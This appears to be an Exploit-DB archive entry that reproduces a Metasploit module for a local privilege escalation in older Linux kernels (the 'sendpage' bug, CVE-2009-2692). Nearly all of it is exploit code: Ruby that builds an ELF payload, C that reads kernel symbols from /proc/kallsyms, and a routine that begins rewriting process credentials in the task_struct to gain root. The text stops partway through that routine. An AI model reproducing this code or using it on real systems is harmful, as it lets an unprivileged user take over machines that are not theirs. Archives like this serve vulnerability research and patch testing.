Exploit-DB #19933
Description: Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privilege Escalation (Metasploit)
Type: local
Platform: linux
Date: 2012-07-19
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'

#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'

class Metasploit4 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Msf::Exploit::EXE
	include Msf::Post::File
	include Msf::Post::Common

	include Msf::Exploit::Local::LinuxKernel
	include Msf::Exploit::Local::Linux
	include Msf::Exploit::Local::Unix

	def initialize(info={})
		super( update_info( info, {
				'Name'          => 'Linux Kernel Sendpage Local Privilege Escalation',
				'Description'   => %q{
					AKA Wunderbar Emporium
				},
				'License'       => MSF_LICENSE,
				'Author'        =>
					[
						'spender',        # wunderbar_emporium.tgz
						'rcvalle',        # sock_sendpage.c
						'egypt'           # metasploit module
					],
				'Platform'      => [ 'linux' ],
				'Arch'          => [ ARCH_X86 ],
				'SessionTypes'  => [ 'shell', 'meterpreter' ],
				'References'    =>
					[
						[ 'CVE', '2009-2692' ],
						[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
						[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
					],
				'Targets'       =>
					[
						[ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
						#[ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ],
					],
				'DefaultTarget' => 0,
			}
			))
	end

	def exploit
		sc = Metasm::ELF.new(@cpu)
		sc.parse %Q|
			#define DEBUGGING
			#define NULL ((void*)0)
			#ifdef __ELF__
				.section ".bss" rwx
				.section ".text" rwx
				.entrypoint
			#endif
			call main
			;push eax
			call exit
		|

		# Set up the same include order as the bionic build system.
		# See external/source/meterpreter/source/bionic/libc/Jamfile
		cparser.lexer.include_search_path = [
			"external/source/meterpreter/source/bionic/libc/include/",
			"external/source/meterpreter/source/bionic/libc/private/",
			"external/source/meterpreter/source/bionic/libc/bionic/",
			"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
			"external/source/meterpreter/source/bionic/libc/kernel/common/",
			"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
		]

		cparser.parse(%Q|
			#define DEBUGGING
			// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
			#ifndef __extension__
			#define __extension__
			#endif
			// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
			// Doing #if on an undefined macro is fine in GCC, but a parse error in
			// metasm.
			#ifndef __STDC__
			#define __STDC__ 0
			#endif
			#include <sys/types.h>
			#include <sys/mman.h>
			#include <stdarg.h>
			#include <stdio.h>
			#include <unistd.h>
			#include <errno.h>
			/*
			OpenBSD's strcmp from string/strcmp.c in bionic
			*/
			int
			strcmp(const char *s1, const char *s2)
			{
				while (*s1 == *s2++)
					if (*s1++ == 0)
						return (0);
				return (*(unsigned char *)s1 - *(unsigned char *)--s2);
			}
		|)

		[
			"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
			"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
			"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
			"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
			# This parses without any trouble, but actually calling perror() causes
			# immediate segfaults.
			#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",

			# For some ungodly reason, NULL ends up being undefined when parsing this
			# guy, which of course causes parse errors.
			#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",

		].each do |fname|
			print_status("Parsing c file #{fname}")
			cparser.parse(File.read(fname), fname)
		end

		print_status("Unix socket.h")
		unix_socket_h(sc)
		current_task_struct_h(sc)

		case target.arch.first
		when ARCH_X86
		print_status("syscall wrappers")
			linux_x86_syscall_wrappers(sc)
			main = %q^
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif

#define NULL ((void*)0)
#define DOMAINS_STOP -1
const int domains[] = {
	PF_BLUETOOTH,
	PF_APPLETALK,
	PF_IPX,
	PF_IRDA,
	PF_X25,
	PF_AX25,
	PF_BLUETOOTH,
	PF_PPPOX,
	DOMAINS_STOP
	};

int *apparmor_enabled;

int got_ring0 = 0;
unsigned long uid, gid;

static unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[256];
	int ret;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL) {
			printf("Unable to obtain symbol listing!\n");
			return 0;
		}
	}

	ret = 0;
	while(ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			printf(" [+] Resolved %s to %p\n", name, (void *)addr);
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	return 0;
}


static void
change_cred(void)
{
	unsigned int *task_struct;

	task_struct = (unsigned int *)current_task_struct();

	while (task_struct) {
		if (task_struct[0] == uid && task_struct[1] == uid &&
				task_struct[2] == uid && task_struct[3] == uid &&
				task_struct[4] == gid && task_struct[5] == gid &&
				task_struct[6] == gid && task_struct[7] == gid) {
			task_struct[0] = task_struct[1] =
			task_struct[